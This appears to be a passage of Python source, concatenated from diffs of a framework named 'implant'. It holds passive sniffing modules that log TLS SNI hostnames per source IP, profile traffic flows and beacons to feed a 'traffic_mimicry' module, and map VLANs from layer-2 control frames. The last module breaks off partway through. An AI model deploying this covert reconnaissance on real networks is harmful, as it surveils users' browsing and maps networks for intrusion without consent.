import socket
import sqlite3
import struct
import threading
import time
from collections import OrderedDict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# TLS record types
TLS_HANDSHAKE = 22
# TLS handshake types
TLS_CLIENT_HELLO = 1
# TLS extension type for SNI
EXT_SNI = 0x0000
# TLS version mapping
TLS_VERSIONS = {
0x0300: "SSLv3",
0x0301: "TLS 1.0",
0x0302: "TLS 1.1",
0x0303: "TLS 1.2",
0x0304: "TLS 1.3",
}
# Max reassembly buffer entries (prevent memory leak from orphaned streams)
MAX_REASSEMBLY_ENTRIES = 10000
# Max age for reassembly buffer entries (seconds)
REASSEMBLY_TIMEOUT = 30
class TLSSNIExtractor(BaseModule):
"""Extract SNI hostnames from TLS ClientHello messages."""
name = "tls_sni_extractor"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 500
FLUSH_INTERVAL = 60
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_sni = 0
# TCP reassembly buffer: (src,sport,dst,dport) -> (data, timestamp)
self._reassembly: OrderedDict = OrderedDict()
self._reassembly_lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("TLSSNIExtractor requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "tls_sni.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="tcp port 443", queue_depth=8000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-sni-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-sni-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("TLSSNIExtractor started — monitoring TLS on port 443")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("TLSSNIExtractor stopped — %d SNIs extracted", self._total_sni)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_sni": self._total_sni,
"buffer_size": len(self._buffer),
"reassembly_entries": len(self._reassembly),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS tls_sni (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
dest_port INTEGER NOT NULL,
sni TEXT NOT NULL,
tls_version TEXT
);
CREATE INDEX IF NOT EXISTS idx_sni_source ON tls_sni(source_ip);
CREATE INDEX IF NOT EXISTS idx_sni_hostname ON tls_sni(sni);
CREATE INDEX IF NOT EXISTS idx_sni_ts ON tls_sni(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse Ethernet -> IPv4 -> TCP -> TLS ClientHello."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload_offset = tcp_offset + tcp_hdr_len
payload = raw[payload_offset:]
if not payload:
return
# Try to extract SNI from this payload (possibly with reassembly)
flow_key = (src_ip, src_port, dst_ip, dst_port)
self._process_tls_payload(ts, flow_key, payload, src_ip, dst_ip, dst_port)
def _process_tls_payload(self, ts: float, flow_key: tuple,
payload: bytes, src_ip: str, dst_ip: str,
dst_port: int) -> None:
"""Parse TLS records from TCP payload, with reassembly for fragments."""
# Check if we have buffered data for this flow
with self._reassembly_lock:
if flow_key in self._reassembly:
prev_data, _ = self._reassembly.pop(flow_key)
payload = prev_data + payload
# Try to parse TLS record
offset = 0
while offset < len(payload):
if len(payload) - offset < 5:
# Not enough for TLS record header — buffer for reassembly
self._buffer_fragment(flow_key, payload[offset:], ts)
return
content_type = payload[offset]
tls_version = struct.unpack("!H", payload[offset + 1:offset + 3])[0]
record_length = struct.unpack("!H", payload[offset + 3:offset + 5])[0]
if content_type != TLS_HANDSHAKE:
return
if record_length > 16384: # Max TLS record size
return
if len(payload) - offset - 5 < record_length:
# Fragmented — buffer remaining data
self._buffer_fragment(flow_key, payload[offset:], ts)
return
record_data = payload[offset + 5:offset + 5 + record_length]
sni, version_str = self._parse_client_hello(record_data, tls_version)
if sni:
self._total_sni += 1
record = (ts, src_ip, dst_ip, dst_port, sni, version_str)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
return # Only care about the first ClientHello per connection
offset += 5 + record_length
def _buffer_fragment(self, flow_key: tuple, data: bytes, ts: float) -> None:
"""Buffer a TCP fragment for reassembly."""
with self._reassembly_lock:
self._reassembly[flow_key] = (data, ts)
# Evict oldest entries if buffer too large
while len(self._reassembly) > MAX_REASSEMBLY_ENTRIES:
self._reassembly.popitem(last=False)
# Evict expired entries periodically
now = time.time()
expired = [k for k, (_, t) in self._reassembly.items()
if now - t > REASSEMBLY_TIMEOUT]
for k in expired:
self._reassembly.pop(k, None)
@staticmethod
def _parse_client_hello(data: bytes, record_tls_version: int) -> tuple:
"""Parse a TLS Handshake record to extract SNI from ClientHello.
Returns (sni_hostname, tls_version_string) or (None, None).
"""
if len(data) < 4:
return None, None
handshake_type = data[0]
if handshake_type != TLS_CLIENT_HELLO:
return None, None
# Handshake length (3 bytes)
hs_length = struct.unpack("!I", b"\x00" + data[1:4])[0]
if len(data) < 4 + hs_length:
return None, None
offset = 4
# ClientHello: version(2) + random(32) + session_id_len(1) + ...
if offset + 34 > len(data):
return None, None
client_version = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2 + 32 # skip version + random
# Session ID
if offset >= len(data):
return None, None
session_id_len = data[offset]
offset += 1 + session_id_len
# Cipher suites
if offset + 2 > len(data):
return None, None
cipher_suites_len = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2 + cipher_suites_len
# Compression methods
if offset >= len(data):
return None, None
comp_methods_len = data[offset]
offset += 1 + comp_methods_len
# Extensions
if offset + 2 > len(data):
return None, None
extensions_len = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2
extensions_end = offset + extensions_len
if extensions_end > len(data):
extensions_end = len(data)
# Determine TLS version — check for supported_versions extension (0x002b)
# which overrides the record-layer version for TLS 1.3
detected_version = client_version
sni_hostname = None
ext_offset = offset
while ext_offset + 4 <= extensions_end:
ext_type = struct.unpack("!H", data[ext_offset:ext_offset + 2])[0]
ext_len = struct.unpack("!H", data[ext_offset + 2:ext_offset + 4])[0]
ext_data_start = ext_offset + 4
ext_data_end = ext_data_start + ext_len
if ext_data_end > extensions_end:
break
if ext_type == EXT_SNI:
# SNI extension: list_length(2), type(1)=0 (hostname), name_length(2), name
sni_data = data[ext_data_start:ext_data_end]
sni_hostname = _parse_sni_extension(sni_data)
elif ext_type == 0x002B:
# supported_versions extension — pick highest version
sv_data = data[ext_data_start:ext_data_end]
if len(sv_data) >= 1:
sv_list_len = sv_data[0]
sv_offset = 1
max_ver = 0
while sv_offset + 2 <= 1 + sv_list_len and sv_offset + 2 <= len(sv_data):
ver = struct.unpack("!H", sv_data[sv_offset:sv_offset + 2])[0]
if ver > max_ver:
max_ver = ver
sv_offset += 2
if max_ver > 0:
detected_version = max_ver
ext_offset = ext_data_end
version_str = TLS_VERSIONS.get(detected_version, f"0x{detected_version:04x}")
return sni_hostname, version_str
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("SNI flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO tls_sni (timestamp, source_ip, dest_ip, dest_port, sni, tls_version) "
"VALUES (?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d SNI records", len(batch))
def _parse_sni_extension(data: bytes) -> Optional[str]:
"""Parse the SNI extension data to extract the hostname."""
if len(data) < 5:
return None
sni_list_len = struct.unpack("!H", data[0:2])[0]
offset = 2
while offset + 3 <= len(data) and offset < 2 + sni_list_len:
name_type = data[offset]
name_len = struct.unpack("!H", data[offset + 1:offset + 3])[0]
offset += 3
if offset + name_len > len(data):
break
if name_type == 0: # host_name
try:
return data[offset:offset + name_len].decode("ascii")
except UnicodeDecodeError:
return data[offset:offset + name_len].decode("utf-8", errors="replace")
offset += name_len
return None
+480
View File
@@ -0,0 +1,480 @@
#!/usr/bin/env python3
"""Network traffic analysis — flow tracking, top talkers, beacon detection.
Subscribes to all capture_bus traffic. Tracks:
- Flows by 5-tuple (src_ip, dst_ip, src_port, dst_port, proto)
- Protocol distribution percentages
- Top talkers by bytes and packets
- Beacon detection: regular-interval connections (C2 indicators)
- Bandwidth profiling per host
Feeds baseline data to traffic_mimicry module via bus events.
"""
import logging
import math
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Protocol number to name mapping
PROTO_NAMES = {
1: "ICMP", 6: "TCP", 17: "UDP", 47: "GRE",
50: "ESP", 51: "AH", 58: "ICMPv6",
}
# Beacon detection thresholds
BEACON_MIN_CONNECTIONS = 10 # Minimum connections to analyze
BEACON_JITTER_THRESHOLD = 0.15 # Max jitter ratio (stddev/mean) for beacon
BEACON_MIN_INTERVAL = 5.0 # Minimum interval to consider (seconds)
BEACON_MAX_INTERVAL = 7200.0 # Maximum interval to consider (seconds)
class TrafficAnalyzer(BaseModule):
"""Analyze network traffic patterns, flows, and detect beacons."""
name = "traffic_analyzer"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
FLUSH_INTERVAL = 300 # 5 minutes
BEACON_CHECK_INTERVAL = 600 # 10 minutes
STATS_PUBLISH_INTERVAL = 120 # 2 minutes
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._beacon_thread: Optional[threading.Thread] = None
self._stats_thread: Optional[threading.Thread] = None
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
# Flow table: (src_ip, dst_ip, src_port, dst_port, proto) -> FlowRecord
self._flows = {}
self._flows_lock = threading.Lock()
# Per-host stats
self._host_bytes = defaultdict(int) # ip -> total bytes
self._host_packets = defaultdict(int) # ip -> total packets
self._host_lock = threading.Lock()
# Protocol distribution
self._proto_bytes = defaultdict(int) # proto_name -> bytes
self._proto_packets = defaultdict(int) # proto_name -> packets
self._proto_lock = threading.Lock()
# Connection timestamps for beacon detection: (src, dst, dport) -> [timestamps]
self._conn_times = defaultdict(list)
self._conn_lock = threading.Lock()
self._total_packets = 0
self._total_bytes = 0
self._detected_beacons = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("TrafficAnalyzer requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "traffic_flows.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Subscribe to all traffic (no BPF filter)
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="", queue_depth=15000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-traffic-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-traffic-flusher"
)
self._flusher_thread.start()
self._beacon_thread = threading.Thread(
target=self._beacon_loop, daemon=True, name="sensor-traffic-beacon"
)
self._beacon_thread.start()
self._stats_thread = threading.Thread(
target=self._stats_loop, daemon=True, name="sensor-traffic-stats"
)
self._stats_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("TrafficAnalyzer started — monitoring all traffic")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_flows()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"TrafficAnalyzer stopped — %d total packets, %d flows, %d beacons detected",
self._total_packets, len(self._flows), len(self._detected_beacons),
)
def status(self) -> dict:
with self._flows_lock:
flow_count = len(self._flows)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_packets": self._total_packets,
"total_bytes": self._total_bytes,
"active_flows": flow_count,
"detected_beacons": len(self._detected_beacons),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS flows (
id INTEGER PRIMARY KEY AUTOINCREMENT,
src_ip TEXT NOT NULL,
dst_ip TEXT NOT NULL,
src_port INTEGER,
dst_port INTEGER,
proto TEXT NOT NULL,
bytes_total INTEGER NOT NULL DEFAULT 0,
packets INTEGER NOT NULL DEFAULT 0,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
is_beacon INTEGER DEFAULT 0
);
CREATE INDEX IF NOT EXISTS idx_flow_src ON flows(src_ip);
CREATE INDEX IF NOT EXISTS idx_flow_dst ON flows(dst_ip);
CREATE INDEX IF NOT EXISTS idx_flow_beacon ON flows(is_beacon);
CREATE INDEX IF NOT EXISTS idx_flow_first ON flows(first_seen);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Extract flow information from each packet."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800: # IPv4 only
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
total_len = struct.unpack("!H", ip_hdr[2:4])[0]
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
src_port = 0
dst_port = 0
if ip_proto in (6, 17): # TCP or UDP
transport_offset = ip_offset + ihl
if len(raw) >= transport_offset + 4:
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
proto_name = PROTO_NAMES.get(ip_proto, str(ip_proto))
pkt_size = total_len
self._total_packets += 1
self._total_bytes += pkt_size
# Update flow table
flow_key = (src_ip, dst_ip, src_port, dst_port, proto_name)
with self._flows_lock:
if flow_key not in self._flows:
self._flows[flow_key] = {
"bytes_total": 0, "packets": 0,
"first_seen": ts, "last_seen": ts,
"is_beacon": False,
}
flow = self._flows[flow_key]
flow["bytes_total"] += pkt_size
flow["packets"] += 1
flow["last_seen"] = ts
# Update per-host stats
with self._host_lock:
self._host_bytes[src_ip] += pkt_size
self._host_packets[src_ip] += 1
self._host_bytes[dst_ip] += pkt_size
self._host_packets[dst_ip] += 1
# Update protocol distribution
with self._proto_lock:
self._proto_bytes[proto_name] += pkt_size
self._proto_packets[proto_name] += 1
# Record connection timestamps for beacon detection (TCP SYN only)
if ip_proto == 6 and len(raw) >= ip_offset + ihl + 14:
tcp_flags = raw[ip_offset + ihl + 13]
if tcp_flags & 0x02 and not (tcp_flags & 0x10): # SYN without ACK
conn_key = (src_ip, dst_ip, dst_port)
with self._conn_lock:
timestamps = self._conn_times[conn_key]
timestamps.append(ts)
# Keep only last 1000 timestamps per connection tuple
if len(timestamps) > 1000:
self._conn_times[conn_key] = timestamps[-1000:]
# ------------------------------------------------------------------
# Beacon detection
# ------------------------------------------------------------------
def _beacon_loop(self) -> None:
"""Periodically check for beacon-like connection patterns."""
while self._running:
time.sleep(self.BEACON_CHECK_INTERVAL)
try:
self._detect_beacons()
except Exception:
logger.exception("Beacon detection error")
def _detect_beacons(self) -> None:
"""Analyze connection timestamps for regular-interval patterns."""
with self._conn_lock:
conn_snapshot = {k: list(v) for k, v in self._conn_times.items()
if len(v) >= BEACON_MIN_CONNECTIONS}
new_beacons = []
for conn_key, timestamps in conn_snapshot.items():
src_ip, dst_ip, dst_port = conn_key
if len(timestamps) < BEACON_MIN_CONNECTIONS:
continue
# Calculate inter-arrival intervals
timestamps.sort()
intervals = [timestamps[i + 1] - timestamps[i]
for i in range(len(timestamps) - 1)]
if not intervals:
continue
# Filter to reasonable beacon intervals
valid_intervals = [i for i in intervals
if BEACON_MIN_INTERVAL <= i <= BEACON_MAX_INTERVAL]
if len(valid_intervals) < BEACON_MIN_CONNECTIONS - 1:
continue
mean_interval = sum(valid_intervals) / len(valid_intervals)
if mean_interval == 0:
continue
# Calculate jitter (standard deviation / mean)
variance = sum((i - mean_interval) ** 2 for i in valid_intervals) / len(valid_intervals)
stddev = math.sqrt(variance)
jitter_ratio = stddev / mean_interval
if jitter_ratio <= BEACON_JITTER_THRESHOLD:
beacon_info = {
"src_ip": src_ip,
"dst_ip": dst_ip,
"dst_port": dst_port,
"mean_interval": round(mean_interval, 2),
"jitter_ratio": round(jitter_ratio, 4),
"connection_count": len(timestamps),
"first_seen": timestamps[0],
"last_seen": timestamps[-1],
}
new_beacons.append(beacon_info)
# Mark flows as beacons
with self._flows_lock:
for proto in ("TCP", "6"):
flow_key = (src_ip, dst_ip, 0, dst_port, proto)
if flow_key in self._flows:
self._flows[flow_key]["is_beacon"] = True
self.bus.emit("BEACON_DETECTED", beacon_info, source_module=self.name)
logger.warning(
"BEACON: %s -> %s:%d interval=%.1fs jitter=%.2f%% count=%d",
src_ip, dst_ip, dst_port, mean_interval,
jitter_ratio * 100, len(timestamps),
)
self._detected_beacons = new_beacons
# ------------------------------------------------------------------
# Statistics publishing
# ------------------------------------------------------------------
def _stats_loop(self) -> None:
"""Periodically publish traffic statistics for other modules."""
while self._running:
time.sleep(self.STATS_PUBLISH_INTERVAL)
try:
self._publish_stats()
except Exception:
logger.exception("Stats publish error")
def _publish_stats(self) -> None:
"""Publish traffic baseline stats (for traffic_mimicry)."""
# Protocol distribution
with self._proto_lock:
proto_dist = dict(self._proto_bytes)
total_proto_bytes = sum(proto_dist.values())
if total_proto_bytes > 0:
proto_pct = {k: round(v / total_proto_bytes * 100, 1)
for k, v in proto_dist.items()}
else:
proto_pct = {}
# Top talkers (by bytes, top 20)
with self._host_lock:
host_bytes_snapshot = dict(self._host_bytes)
top_talkers = sorted(host_bytes_snapshot.items(), key=lambda x: x[1], reverse=True)[:20]
# Store baseline in state for traffic_mimicry
self.state.set(self.name, "protocol_distribution", proto_pct)
self.state.set(self.name, "top_talkers", [
{"ip": ip, "bytes": b} for ip, b in top_talkers
])
self.state.set(self.name, "total_bytes", self._total_bytes)
self.state.set(self.name, "total_packets", self._total_packets)
# ------------------------------------------------------------------
# Public query methods
# ------------------------------------------------------------------
def get_top_talkers(self, n: int = 10, by: str = "bytes") -> list:
"""Return top N talkers by bytes or packets."""
with self._host_lock:
if by == "packets":
data = dict(self._host_packets)
else:
data = dict(self._host_bytes)
sorted_hosts = sorted(data.items(), key=lambda x: x[1], reverse=True)[:n]
return [{"ip": ip, by: val} for ip, val in sorted_hosts]
def get_protocol_distribution(self) -> dict:
"""Return protocol distribution as percentages."""
with self._proto_lock:
total = sum(self._proto_bytes.values())
if total == 0:
return {}
return {k: round(v / total * 100, 2) for k, v in self._proto_bytes.items()}
def get_detected_beacons(self) -> list:
"""Return list of detected beacon connections."""
return list(self._detected_beacons)
# ------------------------------------------------------------------
# Flow flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_flows()
except Exception:
logger.exception("Flow flush error")
def _flush_flows(self) -> None:
"""Write flow table to SQLite."""
with self._flows_lock:
flows_snapshot = dict(self._flows)
if not flows_snapshot or not self._db_conn:
return
try:
for flow_key, flow_data in flows_snapshot.items():
src_ip, dst_ip, src_port, dst_port, proto = flow_key
self._db_conn.execute(
"""INSERT INTO flows
(src_ip, dst_ip, src_port, dst_port, proto,
bytes_total, packets, first_seen, last_seen, is_beacon)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT DO NOTHING
""",
(src_ip, dst_ip, src_port, dst_port, proto,
flow_data["bytes_total"], flow_data["packets"],
flow_data["first_seen"], flow_data["last_seen"],
int(flow_data.get("is_beacon", False))),
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d flows", len(flows_snapshot))
+432
View File
@@ -0,0 +1,432 @@
#!/usr/bin/env python3
"""VLAN discovery — 802.1Q tag detection, DTP/CDP/LLDP/STP parsing.
Passively identifies VLAN infrastructure by parsing layer-2 control protocols.
Detects 802.1Q tagged frames, DTP trunk negotiation, 802.1X/EAPOL NAC,
CDP/LLDP neighbor announcements, and STP BPDUs.
"""
import logging
import os
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Ethertypes and protocol IDs
ETHERTYPE_8021Q = 0x8100
ETHERTYPE_8021AD = 0x88A8 # QinQ
ETHERTYPE_EAPOL = 0x888E
ETHERTYPE_LLDP = 0x88CC
# CDP/DTP use SNAP encapsulation with LLC header (DSAP=DSAP=0xAA, SSAP=0xAA, ctrl=0x03)
# CDP OUI: 0x00000C, protocol: 0x2000
# DTP OUI: 0x00000C, protocol: 0x2004
# STP uses LLC (DSAP=0x42, SSAP=0x42)
# CDP TLV types
CDP_TLV_DEVICE_ID = 0x0001
CDP_TLV_ADDRESS = 0x0002
CDP_TLV_PORT_ID = 0x0003
CDP_TLV_CAPABILITIES = 0x0004
CDP_TLV_SOFTWARE_VERSION = 0x0005
CDP_TLV_PLATFORM = 0x0006
CDP_TLV_NATIVE_VLAN = 0x000A
CDP_TLV_MANAGEMENT_ADDR = 0x0016
# LLDP TLV types
LLDP_TLV_END = 0
LLDP_TLV_CHASSIS_ID = 1
LLDP_TLV_PORT_ID = 2
LLDP_TLV_TTL = 3
LLDP_TLV_PORT_DESC = 4
LLDP_TLV_SYSTEM_NAME = 5
LLDP_TLV_SYSTEM_DESC = 6
LLDP_TLV_MGMT_ADDR = 8
_DB_INIT = """
CREATE TABLE IF NOT EXISTS vlans (
id INTEGER PRIMARY KEY AUTOINCREMENT,
vlan_id INTEGER NOT NULL,
name TEXT DEFAULT '',
source TEXT NOT NULL,
switch_name TEXT DEFAULT '',
switch_port TEXT DEFAULT '',
first_seen REAL NOT NULL,
UNIQUE(vlan_id, source, switch_name, switch_port)
);
CREATE INDEX IF NOT EXISTS idx_vlans_vlan_id ON vlans(vlan_id);
"""
FLUSH_INTERVAL = 30
class VLANDiscovery(BaseModule):
"""Passively discover VLANs via 802.1Q tags and L2 protocol parsing."""
name = "vlan_discovery"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._read_thread: Optional[threading.Thread] = None
self._flush_thread: Optional[threading.Thread] = None
self._db_path = self._resolve_db_path()
self._db_conn: Optional[sqlite3.Connection] = None
self._write_buffer: list[tuple] = []
self._buffer_lock = threading.Lock()
self._stats = {
"dot1q_frames": 0,
"cdp_frames": 0,
"lldp_frames": 0,
"dtp_frames": 0,
"stp_bpdus": 0,
"eapol_frames": 0,
"vlans_found": 0,
"packets_processed": 0,
}
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._init_db()
self._capture_bus = self.config.get("_capture_bus")
if self._capture_bus is None:
logger.error("VLANDiscovery requires _capture_bus in config")
return
# Broad filter: we need 802.1Q (any ethertype), CDP/DTP (SNAP), LLDP, STP, EAPOL
# Compile a catch-all because these span multiple ethertypes and LLC frames
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="", queue_depth=3000
)
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
self._read_thread = threading.Thread(
target=self._read_loop, daemon=True, name="sensor-vlan-read"
)
self._read_thread.start()
self._flush_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-vlan-flush"
)
self._flush_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("VLANDiscovery started")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus and self._sub_queue:
self._capture_bus.unsubscribe(self.name)
if self._read_thread and self._read_thread.is_alive():
self._read_thread.join(timeout=5.0)
if self._flush_thread and self._flush_thread.is_alive():
self._flush_thread.join(timeout=5.0)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("VLANDiscovery stopped — stats: %s", self._stats)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
"""Read packets from capture bus and dispatch to parsers."""
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_frame(pkt, ts)
except Exception:
logger.debug("Error processing frame", exc_info=True)
def _process_frame(self, pkt: bytes, ts: float) -> None:
"""Identify and dispatch frame to appropriate parser."""
if len(pkt) < 14:
return
dst_mac = pkt[0:6]
ethertype = struct.unpack("!H", pkt[12:14])[0]
# 802.1Q tagged frame
if ethertype == ETHERTYPE_8021Q or ethertype == ETHERTYPE_8021AD:
self._parse_dot1q(pkt, ts)
return
# LLDP
if ethertype == ETHERTYPE_LLDP:
self._parse_lldp(pkt, ts)
return
# EAPOL (802.1X)
if ethertype == ETHERTYPE_EAPOL:
self._stats["eapol_frames"] += 1
self._record_vlan(0, "eapol_detected", "", "", ts)
return
# Check for LLC/SNAP frames (ethertype field is actually length if < 0x0600)
if ethertype <= 0x05DC and len(pkt) >= 22:
self._parse_llc_snap(pkt, ts)
def _parse_dot1q(self, pkt: bytes, ts: float) -> None:
"""Parse 802.1Q tagged frame to extract VLAN ID."""
if len(pkt) < 18:
return
tci = struct.unpack("!H", pkt[14:16])[0]
vlan_id = tci & 0x0FFF
if vlan_id > 0:
self._stats["dot1q_frames"] += 1
self._record_vlan(vlan_id, "802.1q", "", "", ts)
def _parse_llc_snap(self, pkt: bytes, ts: float) -> None:
"""Parse LLC/SNAP encapsulated frames for CDP, DTP, STP."""
# Minimum: 14 (eth) + 3 (LLC) = 17 bytes for STP check
if len(pkt) < 17:
return
dsap = pkt[14]
ssap = pkt[15]
ctrl = pkt[16]
# STP BPDU: DSAP=0x42, SSAP=0x42
if dsap == 0x42 and ssap == 0x42:
self._parse_stp(pkt, ts)
return
# SNAP: DSAP=0xAA, SSAP=0xAA, Ctrl=0x03
if dsap == 0xAA and ssap == 0xAA and ctrl == 0x03 and len(pkt) >= 22:
oui = pkt[17:20]
proto = struct.unpack("!H", pkt[20:22])[0]
